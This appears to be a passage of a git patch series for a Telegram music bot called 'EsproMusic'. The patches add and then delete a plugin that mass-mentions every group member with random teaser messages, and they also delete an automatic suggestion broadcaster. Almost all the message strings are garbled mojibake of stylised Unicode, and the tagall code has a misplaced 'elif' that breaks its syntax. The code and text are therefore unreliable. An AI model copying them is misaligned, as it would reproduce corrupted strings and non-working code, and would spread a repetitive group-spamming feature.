- " ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.? ",
- " ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€ ",
- " ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð ",
- " ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€ ",
- " ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º ",
- " ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶ ",
- " ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€ ",
- " ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð ",
- " ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð ",
- " ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª ",
- " ðð¢ðð ððš ðððð ðð¡âº ",
- " ððð¥ð¥ðšð ",
- " ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº ",
- " ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥² ",
- " ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
",
- " ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
",
- " ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð ",
- " ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð ",
- " ð ððšð¯ð ððšð®ððð ",
- " ððš ððšð® ððšð¯ð ðð..?ð ",
- " ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð ",
- " ðð€ ððšð§ð ðð®ð§ðð®..?ð¹ ",
- " ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð» ",
- " ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð ",
-
-" ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð ",
- " ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð ",
- " ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð ",
- " ððð¡ð ðð ððš ððð©ð ",
- " ðð®ð§ðš ððð§ ",
- " ððð«ð ðð€ ððððŠ ððð« ððšð ð..? ",
- " ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ",
- " ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?†",
- " ðð²ð ðð®ð..?ð± ",
- " ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž ",
- " ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð ",
- " ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€ ",
- " ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð ",
- " ðð²ð ðð®ðð®ð® "
- " ðð¢ð¢ð ",
- " ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð ",
- " ððð£ ððð¢ ððð ðð® â¹ïž ",
- " ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º ",
- " ðð²ð ððð« ððð¡ð ððšð ",
- " ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð ",
- " ððð¡ð ðð ððš ððð©..?ð€ ",
- " ðð¡ðððð¢ð§ð ððð« ððš ðð..𥺠",
- " ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º ",
- " ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
",
- " ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð ",
- " ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð ",
- " ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ ",
- " ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž ",
- " ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð ",
- " ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€ ",
- " ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?𥰠",
- " ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º ",
- " ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš 𥲠",
- " ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð ",
- " ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
- " ðððŠð¥ðšðšð§ ",
- " ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
- " ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
- " ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
- " ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
- " ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€ ",
- " ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
- " ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
- " ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
- " ððð¡ð ðð¡ðšð²ð ððš ðððð§ð ",
- " ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥° ",
- ]
-
-@app.on_message(filters.command(["tagall", "all", "tagmember", "utag", "stag", "hftag", "bstag", "eftag", "tag", "etag", "utag", "atag" ], prefixes=["/", "@", "#"]))
-async def mentionall(client, message):
- chat_id = message.chat.id
- if message.chat.type == "private":
- return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
-
- is_admin = False
- try:
- participant = await client.get_chat_member(chat_id, message.from_user.id)
- except UserNotParticipant:
- is_admin = False
- else:
- if participant.status in ("administrator", "creator"):
- is_admin = True
- if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
-
- if message.reply_to_message and message.text:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
-
-elif message.text:
- mode = "text_on_cmd"
- msg = message.text
- elif message.reply_to_message:
- mode = "text_on_reply"
- msg = message.reply_to_message
- if not msg:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
- else:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
-
- spam_chats.append(chat_id)
- usrnum = 0
- usrtxt = ""
- async for usr in client.iter_chat_members(chat_id):
- if not chat_id in spam_chats:
- break
- if usr.user.is_bot:
- continue
- usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
-
- if usrnum == 1:
- if mode == "text_on_cmd":
- txt = f"{usrtxt} {random.choice(TAGMES)}"
- await client.send_message(chat_id, txt)
- elif mode == "text_on_reply":
- await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
- await asyncio.sleep(4)
- usrnum = 0
- usrtxt = ""
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-@app.on_message(filters.command(["cancel", "stop"]))
-async def cancel_spam(client, message):
- if not message.chat.id in spam_chats:
- return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
- is_admin = False
- try:
- participant = await client.get_chat_member(message.chat.id, message.from_user.id)
- except UserNotParticipant:
- is_admin = False
- else:
- if participant.status in ("administrator", "creator"):
- is_admin = True
- if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
- else:
- try:
- spam_chats.remove(message.chat.id)
- except:
- pass
- return await message.reply("⊠Mention process stopped âŠ")
From 840639a324aed619b47df710b6f36eba6561344b Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:04:02 +0530
Subject: [PATCH 11/31] Create Romaan.py
---
EsproMusic/plugins/admins/Romaan.py | 216 ++++++++++++++++++++++++++++
1 file changed, 216 insertions(+)
create mode 100644 EsproMusic/plugins/admins/Romaan.py
diff --git a/EsproMusic/plugins/admins/Romaan.py b/EsproMusic/plugins/admins/Romaan.py
new file mode 100644
index 0000000..6c68bc0
--- /dev/null
+++ b/EsproMusic/plugins/admins/Romaan.py
@@ -0,0 +1,216 @@
+from EsproMusic import app
+import asyncio
+import random
+from pyrogram import Client, filters
+from pyrogram.errors import UserNotParticipant
+from pyrogram.types import ChatPermissions
+
+spam_chats = []
+
+EMOJI = [ "ðŠðŠðŠðŠðŠ",
+ "ð§ðžð§ð¬ð«",
+ "ð¥ð·ð¹ðºð",
+ "ðžð¿ð®ð±ðµ",
+ "â€ïžðððð€",
+ "ððððð",
+ "ðžððºð¹ðŠ",
+ "ððŠªðð²ð¥",
+ "ððððð¶ïž",
+ "ð§ð¥€ð§ð¥ð·",
+ "ð¬ðð§ðð¡",
+ "ðšð§ðºâð»",
+ "ð¥ªð¥§ðŠð¥ð",
+ "ð«âð¹ð·ð¥",
+ "âð§ð©ðŠð",
+ "ððŸð®ðð¿",
+ "ðšïžð¥ïžâïžð©ïžð§ïž",
+ "ð·ðµïžðžðºð",
+ "ð®ðŒð»ðð",
+ "ð§ðŠžðйð§ðž",
+ "ð§
ð ð¥ðœð¥Š",
+ "ð·ð¹ððšð»ââïž",
+ "ðŠððððââ¬",
+ "ðŒð³ð²ðŽðµ",
+ "ð¥©ðððð",
+ "ðŽðœïžðªð¶ð¥",
+ "ðð°ð©â©ïžð©",
+ "ððððð",
+ "ðªŽðµðŽð³ð²",
+ "ððððð",
+ "ðŠ
ðŠðïžðŠ€ðŠ¢",
+ "ðŠ€ðŠ©ðŠðŠðŠ",
+ "ð¬ðŠðŠðð³",
+ "ððð ð¡ðŠ",
+ "ðŠ©ðŠðŠððŠª",
+ "ðŠðŠð·ïžðžïžð",
+ "ð¥ªð°ð¥§ðšðš",
+ " ð¥¬ðð§ð§",
+ ]
+
+TAGMES = [ " ððð² ðððð² ððð¡ð ððšð¥± ",
+ " ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð ",
+ " ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð ",
+ " ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??𥲠",
+ " ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º ",
+ " ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€ ",
+ " ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š ",
+ " ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð ",
+ " ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??𥲠",
+ " ððð¬ðð ðð®ð ððð©ð€ð..??ð ",
+ " ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð ",
+ " ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
",
+ " ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€ ",
+ " ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð ",
+ " ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð ",
+ " ððð© ððð¡ð ðð ððš..??ð ",
+ " ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð ",
+ " ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€ ",
+ " ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.? ",
+ " ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€ ",
+ " ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð ",
+ " ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€ ",
+ " ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º ",
+ " ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶ ",
+ " ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€ ",
+ " ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð ",
+ " ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð ",
+ " ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª ",
+ " ðð¢ðð ððš ðððð ðð¡âº ",
+ " ððð¥ð¥ðšð ",
+ " ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº ",
+ " ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥² ",
+ " ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
",
+ " ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
",
+ " ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð ",
+ " ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð ",
+ " ð ððšð¯ð ððšð®ððð ",
+ " ððš ððšð® ððšð¯ð ðð..?ð ",
+ " ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð ",
+ " ðð€ ððšð§ð ðð®ð§ðð®..?ð¹ ",
+ " ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð» ",
+ " ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð ",
+
+" ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð ",
+ " ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð ",
+ " ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð ",
+ " ððð¡ð ðð ððš ððð©ð ",
+ " ðð®ð§ðš ððð§ ",
+ " ððð«ð ðð€ ððððŠ ððð« ððšð ð..? ",
+ " ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ",
+ " ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?†",
+ " ðð²ð ðð®ð..?ð± ",
+ " ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž ",
+ " ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð ",
+ " ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€ ",
+ " ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð ",
+ " ðð²ð ðð®ðð®ð® "
+ " ðð¢ð¢ð ",
+ " ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð ",
+ " ððð£ ððð¢ ððð ðð® â¹ïž ",
+ " ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º ",
+ " ðð²ð ððð« ððð¡ð ððšð ",
+ " ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð ",
+ " ððð¡ð ðð ððš ððð©..?ð€ ",
+ " ðð¡ðððð¢ð§ð ððð« ððš ðð..𥺠",
+ " ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º ",
+ " ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
",
+ " ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð ",
+ " ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð ",
+ " ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ ",
+ " ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž ",
+ " ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð ",
+ " ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€ ",
+ " ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?𥰠",
+ " ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º ",
+ " ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš 𥲠",
+ " ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð ",
+ " ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
+ " ðððŠð¥ðšðšð§ ",
+ " ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
+ " ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
+ " ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
+ " ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
+ " ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€ ",
+ " ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
+ " ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
+ " ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
+ " ððð¡ð ðð¡ðšð²ð ððš ðððð§ð ",
+ " ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥° ",
+ ]
+
+@app.on_message(filters.command(["tagall", "all", "tagmember", "utag", "stag", "hftag", "bstag", "eftag", "tag", "etag", "utag", "atag" ], prefixes=["/", "@", "#"]))
+async def mentionall(client, message):
+ chat_id = message.chat.id
+ if message.chat.type == "private":
+ return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
+
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(chat_id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in ("administrator", "creator"):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
+
+ if message.reply_to_message and message.text:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+
+elif message.text:
+ mode = "text_on_cmd"
+ msg = message.text
+ elif message.reply_to_message:
+ mode = "text_on_reply"
+ msg = message.reply_to_message
+ if not msg:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+ else:
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+
+ spam_chats.append(chat_id)
+ usrnum = 0
+ usrtxt = ""
+ async for usr in client.iter_chat_members(chat_id):
+ if not chat_id in spam_chats:
+ break
+ if usr.user.is_bot:
+ continue
+ usrnum += 1
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+
+ if usrnum == 1:
+ if mode == "text_on_cmd":
+ txt = f"{usrtxt} {random.choice(TAGMES)}"
+ await client.send_message(chat_id, txt)
+ elif mode == "text_on_reply":
+ await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
+ await asyncio.sleep(4)
+ usrnum = 0
+ usrtxt = ""
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+@app.on_message(filters.command(["cancel", "stop"]))
+async def cancel_spam(client, message):
+ if not message.chat.id in spam_chats:
+ return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(message.chat.id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in ("administrator", "creator"):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
+ else:
+ try:
+ spam_chats.remove(message.chat.id)
+ except:
+ pass
+ return await message.reply("⊠Mention process stopped âŠ")
From f39fd08dce1f6ebcd610dc8673fc713b020d4cf5 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:07:25 +0530
Subject: [PATCH 12/31] Delete EsproMusic/plugins/misc/suggestion.py
---
EsproMusic/plugins/misc/suggestion.py | 76 ---------------------------
1 file changed, 76 deletions(-)
delete mode 100644 EsproMusic/plugins/misc/suggestion.py
diff --git a/EsproMusic/plugins/misc/suggestion.py b/EsproMusic/plugins/misc/suggestion.py
deleted file mode 100644
index 7486d71..0000000
--- a/EsproMusic/plugins/misc/suggestion.py
+++ /dev/null
@@ -1,76 +0,0 @@
-import asyncio
-import random
-from datetime import datetime, timedelta
-
-import config
-from config import clean
-from strings import get_string
-from EsproMusic import app
-from EsproMusic.utils.database import (get_lang,
- get_served_chats,
- is_suggestion)
-
-LEAVE_TIME = config.AUTO_SUGGESTION_TIME
-
-
-strings = []
-suggestor = {}
-
-for item in get_string("en"):
- if item[0:3] == "sug" and item != "sug_0":
- strings.append(item)
-
-
-async def dont_do_this():
- if config.AUTO_SUGGESTION_MODE == str(True):
- while not await asyncio.sleep(LEAVE_TIME):
- try:
- chats = []
- schats = await get_served_chats()
- for chat in schats:
- chats.append(int(chat["chat_id"]))
- total = len(chats)
- if total >= 100:
- total //= 10
- send_to = 0
- random.shuffle(chats)
- for x in chats:
- if send_to == total:
- break
- if x == config.LOGGER_ID:
- continue
- if not await is_suggestion(x):
- continue
- try:
- language = await get_lang(x)
- _ = get_string(language)
- except:
- _ = get_string("en")
- string = random.choice(strings)
- previous = suggestor.get(x)
- if previous:
- while previous == (string.split("_")[1]):
- string = random.choice(strings)
- suggestor[x] = string.split("_")[1]
- try:
- msg = _["sug_0"] + _[string]
- sent = await app.send_message(x, msg)
- if x not in clean:
- clean[x] = []
- time_now = datetime.now()
- put = {
- "msg_id": sent.id,
- "timer_after": time_now
- + timedelta(
- minutes=config.CLEANMODE_DELETE_MINS
- ),
- }
- clean[x].append(put)
- send_to += 1
- except:
- pass
- except:
- pass
-
-
-asyncio.create_task(dont_do_this())
From 836a45768bb80235c8018df40e9e86787822fdae Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Fri, 23 Feb 2024 16:25:52 +0530
Subject: [PATCH 13/31] Delete EsproMusic/plugins/admins/Romaan.py
---
EsproMusic/plugins/admins/Romaan.py | 216 ----------------------------
1 file changed, 216 deletions(-)
delete mode 100644 EsproMusic/plugins/admins/Romaan.py
diff --git a/EsproMusic/plugins/admins/Romaan.py b/EsproMusic/plugins/admins/Romaan.py
deleted file mode 100644
index 6c68bc0..0000000
--- a/EsproMusic/plugins/admins/Romaan.py
+++ /dev/null
@@ -1,216 +0,0 @@
-from EsproMusic import app
-import asyncio
-import random
-from pyrogram import Client, filters
-from pyrogram.errors import UserNotParticipant
-from pyrogram.types import ChatPermissions
-
-spam_chats = []
-
-EMOJI = [ "ðŠðŠðŠðŠðŠ",
- "ð§ðžð§ð¬ð«",
- "ð¥ð·ð¹ðºð",
- "ðžð¿ð®ð±ðµ",
- "â€ïžðððð€",
- "ððððð",
- "ðžððºð¹ðŠ",
- "ððŠªðð²ð¥",
- "ððððð¶ïž",
- "ð§ð¥€ð§ð¥ð·",
- "ð¬ðð§ðð¡",
- "ðšð§ðºâð»",
- "ð¥ªð¥§ðŠð¥ð",
- "ð«âð¹ð·ð¥",
- "âð§ð©ðŠð",
- "ððŸð®ðð¿",
- "ðšïžð¥ïžâïžð©ïžð§ïž",
- "ð·ðµïžðžðºð",
- "ð®ðŒð»ðð",
- "ð§ðŠžðйð§ðž",
- "ð§
ð ð¥ðœð¥Š",
- "ð·ð¹ððšð»ââïž",
- "ðŠððððââ¬",
- "ðŒð³ð²ðŽðµ",
- "ð¥©ðððð",
- "ðŽðœïžðªð¶ð¥",
- "ðð°ð©â©ïžð©",
- "ððððð",
- "ðªŽðµðŽð³ð²",
- "ððððð",
- "ðŠ
ðŠðïžðŠ€ðŠ¢",
- "ðŠ€ðŠ©ðŠðŠðŠ",
- "ð¬ðŠðŠðð³",
- "ððð ð¡ðŠ",
- "ðŠ©ðŠðŠððŠª",
- "ðŠðŠð·ïžðžïžð",
- "ð¥ªð°ð¥§ðšðš",
- " ð¥¬ðð§ð§",
- ]
-
-TAGMES = [ " ððð² ðððð² ððð¡ð ððšð¥± ",
- " ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð ",
- " ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð ",
- " ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??𥲠",
- " ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º ",
- " ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€ ",
- " ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š ",
- " ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð ",
- " ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??𥲠",
- " ððð¬ðð ðð®ð ððð©ð€ð..??ð ",
- " ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð ",
- " ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
",
- " ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€ ",
- " ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð ",
- " ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð ",
- " ððð© ððð¡ð ðð ððš..??ð ",
- " ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð ",
- " ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€ ",
- " ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.? ",
- " ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€ ",
- " ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð ",
- " ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€ ",
- " ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º ",
- " ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶ ",
- " ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€ ",
- " ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð ",
- " ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð ",
- " ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª ",
- " ðð¢ðð ððš ðððð ðð¡âº ",
